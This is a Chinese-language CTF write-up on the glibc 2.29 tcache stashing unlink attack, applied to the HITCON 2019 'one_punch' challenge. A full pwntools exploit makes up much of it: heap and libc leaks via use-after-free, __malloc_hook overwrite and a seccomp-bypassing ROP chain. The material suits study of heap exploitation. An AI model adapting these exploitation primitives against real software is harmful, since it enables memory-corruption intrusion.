在tcache中布置5个chunk,对应大小的small bin中布置2个chunk。修改倒数第二个small chunk的bk指向target,target->bk写入一个可写的位置。使用calloc触发,因为calloc调用_int_malloc不会使用tcache进行分配(除了_int_malloc遍历unsorted bin的尾部),只会往tcache中填充。

可以造成target->bk->fd位置写入大数字,并且target成为tcache中第一个,再次malloc就可以获得。

有点像fastbin reverse into tcache。

variation

在tcache中布置6个chunk,对应大小的small bin中布置2个chunk。(可以用unsorted bin切割的方式布置2个small bin)

修改倒数第二个small chunk的bk,calloc触发,只在bk->fd写入大数字。

tips

可以使用分割unsorted bin的方法,得到对应大小small bin,不必事先填满tcache。

Hitcon2019 one_punch

分析

main开始处使用全局变量存储了heap_base+0x10的指针。这里实际上指向了tcache的管理结构tcache_perthread_struct,每个arena存在这么一个。在tcache_init函数中使用_int_malloc分配,在2.29中大小为0x280。

1
2
3
4
5
6
7
8
9
############################
👼 One Punch Man 👼
############################
# 1. debut #
# 2. rename #
# 3. show #
# 4. retire #
# 5. Exit #
############################

debut:读取字符串到栈上,使用calloc分配对应大小的chunk进行存储且存储长度。输入字符串长度必须在0x80到0x400之间

rename:更改字符串

show:打印字符串

retire :释放空间,但没有将指针置0,存在指针悬空

同时存在一个后门函数,输入0xC388,可以执行。后门函数判断heap_base+0x30处的单字节是否大于6,大于则继续执行。使用malloc分配0x217,然后读入字符串。没有被释放,这里存在内存泄漏

calloc

malloc执行过程:__libc_malloc->_int_malloc

calloc执行过程:__libc_calloc->_int_malloc

使用tcache分配即为tcache_get存在于__libc_malloc,而_int_malloc只会使用tcache_put填充tcache。所以得出一般结论,calloc不会使用tcache进行分配。

(有例外,在_int_malloc中遍历unsorted bin的尾部存在使用tcache分配的行为)

总体思路

利用UAF泄露heap base、libc base。

利用tcache stashing unlink attack覆写heap_base+0x30的位置。解除后门函数的使用限制。

对0x220(即malloc(0x217)使用)的tcache使用类似fastbin attack的方式修改__malloc_hook。因为程序使用了seccomp限制了系统调用,所以后续使用rop的方式读出flag。__malloc_hook修改为add rsp, 0x48; ret的gadget地址,将rsp移动到debut函数的buf位置。利用debut中的read(0, buf, 0x400)将一系列rop操作读入到buf里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(6):
debut(0, b"A"*0xf8)
retire(0)
for i in range(7):
debut(0, b"A"*0x400)
retire(0)
# gdb.attach(io, "b *$rebase(0x16AB)")
debut(0, b"A"*0x400)
debut(1, b"A"*0x400)
retire(0)
debut(0, b"A"*0x300)

debut(0, b"A"*0x400)
debut(1, b"A"*0x400)
retire(0)
debut(1, b"A"*0x300)
debut(1, b"A"*0x200)

rename(0, b"A"*0x308 + p64(0x101) + p64(heap_base+0x2d20) + p64(heap_base+0x1f))
debut(0, b"./flag".ljust(0xf8, b"\x00")) # trigger

目标是0x100,首先释放6个进tcache。然后通过切割unsorted bin的方式,使两个0x100的chunk进入small bin。修改倒数第二个small bin的bk,将其指向heap_base+0x30-0x11处。

如果指向heap_base+0x30-0x10,则会将0x90写入heap_base+0x30处,cmp al, 6看起来是有符号比较,会认为0x90小于0x6。所以偏移一个字节,但有时还是会因为最高位为1而gg。

tcache attack

1
2
3
4
5
6
7
8
debut(0, b"A"*0x217)
debut(1, b"A"*0x217)
retire(0)
retire(1)

rename(1, p64(libc_base+libc.sym["__malloc_hook"]))
backdoor("A")
backdoor(p64(libc_base+0xbdfd1))

释放得到两个0x220的块进入tcache,修改第一个的tcache_entry->next到__malloc_hook。两次分配获得hook,修改为add rsp, 0x48; ret的gadget地址。为什么是0x48,调试可以知道。

rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# rop
poprdi = libc_base + 0x219c0
poprsi = libc_base + 0x24435
poprdx = libc_base + 0x1b9a
poprax = libc_base + 0x37fa8
syscall= libc_base + g("syscall; ret")

## open
rops = p64(poprdi) + p64(heap_base+0x2d30)
rops += p64(poprsi) + p64(0)
rops += p64(poprdx) + p64(0)
rops += p64(poprax) + p64(2)
rops += p64(syscall)

## read
rops += p64(poprdi) + p64(3)
rops += p64(poprsi) + p64(heap_base+0x2d30)
rops += p64(poprdx) + p64(20)
rops += p64(poprax) + p64(0)
rops += p64(syscall)

## write
rops += p64(poprdi) + p64(1)
rops += p64(poprsi) + p64(heap_base+0x2d30)
rops += p64(poprdx) + p64(20)
rops += p64(poprax) + p64(1)
rops += p64(syscall)

依次使用open、read、write系统调用,读取flag。其中syscall; ret这个gadget,ROPgadget这个工具不会进行生成,使用了机器码搜索的方式g = lambda x :next(libc.search(asm(x)))

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "./one_punch"
locallibc = "../glibc_versions/2.29/x64_tcache/lib/libc.so.6"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
g = lambda x :next(libc.search(asm(x)))

def debut(idx, name):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("idx: ")
io.sendline(str(idx))
io.recvuntil("hero name: ")
io.send(name)

def rename(idx, name):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil("idx: ")
io.sendline(str(idx))
io.recvuntil("hero name: ")
io.send(name)

def show(idx):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil("idx: ")
io.sendline(str(idx))

def retire(idx):
io.recvuntil("> ")
io.sendline("4")
io.recvuntil("idx: ")
io.sendline(str(idx))

def backdoor(s):
io.recvuntil("> ")
io.sendline(str(0xc388))
sleep(0.1)
io.send(s)

def exp():
for i in range(6):
debut(0, b"A"*0x80)
retire(0)

# leak heap base
debut(0, b"A"*0x80)
retire(0)
show(0)
io.recvuntil("hero name: ")
heap_base = u64(io.recvline().strip(b"\n").ljust(8, b"\x00")) & (~0xfff)
pf("heap base", heap_base)

# leak libc base
debut(0, b"A"*0x80)
debut(1, b"A"*0x80)
retire(0)
show(0)
io.recvuntil("hero name: ")
libc_base = u64(io.recvline().strip(b"\n").ljust(8, b"\x00")) - 0x3B3CA0
pf("libc base", libc_base)

# tcache stashing unlink attack
for i in range(6):
debut(0, b"A"*0xf8)
retire(0)
for i in range(7):
debut(0, b"A"*0x400)
retire(0)
# gdb.attach(io, "b *$rebase(0x16AB)")
debut(0, b"A"*0x400)
debut(1, b"A"*0x400)
retire(0)
debut(0, b"A"*0x300)

debut(0, b"A"*0x400)
debut(1, b"A"*0x400)
retire(0)
debut(1, b"A"*0x300)
debut(1, b"A"*0x200)

rename(0, b"A"*0x308 + p64(0x101) + p64(heap_base+0x2d20) + p64(heap_base+0x1f))
debut(0, b"./flag".ljust(0xf8, b"\x00"))

#
debut(0, b"A"*0x217)
debut(1, b"A"*0x217)
retire(0)
retire(1)

rename(1, p64(libc_base+libc.sym["__malloc_hook"]))
backdoor("A")
backdoor(p64(libc_base+0xbdfd1))

# rop
poprdi = libc_base + 0x219c0
poprsi = libc_base + 0x24435
poprdx = libc_base + 0x1b9a
poprax = libc_base + 0x37fa8
syscall= libc_base + g("syscall; ret")

## open
rops = p64(poprdi) + p64(heap_base+0x2d30)
rops += p64(poprsi) + p64(0)
rops += p64(poprdx) + p64(0)
rops += p64(poprax) + p64(2)
rops += p64(syscall)

## read
rops += p64(poprdi) + p64(3)
rops += p64(poprsi) + p64(heap_base+0x2d30)
rops += p64(poprdx) + p64(20)
rops += p64(poprax) + p64(0)
rops += p64(syscall)

## write
rops += p64(poprdi) + p64(1)
rops += p64(poprsi) + p64(heap_base+0x2d30)
rops += p64(poprdx) + p64(20)
rops += p64(poprax) + p64(1)
rops += p64(syscall)

# gdb.attach(io, """b *$rebase(0x16AB)
# b *$rebase(0x139C)
# """)

debut(0, rops.ljust(0x80, b"\x00"))

io.interactive(1)

argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

"""
0x00000000000bdfd1 : add rsp, 0x48 ; ret
0x00000000000219c0 : pop rdi ; ret
0x0000000000024435 : pop rsi ; ret
0x0000000000001b9a : pop rdx ; ret
0x0000000000037fa8 : pop rax ; ret
0x000000000000275b : syscall
"""

reference

  1. how2heap tcache_stashing_unlink_attack.c
  2. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#challenge-4-hitcon-2019-one_punch_man
  3. https://qianfei11.github.io/2020/05/05/Tcache-Stashing-Unlink-Attack/#Tcache-Stashing-Unlink-Attack-Plus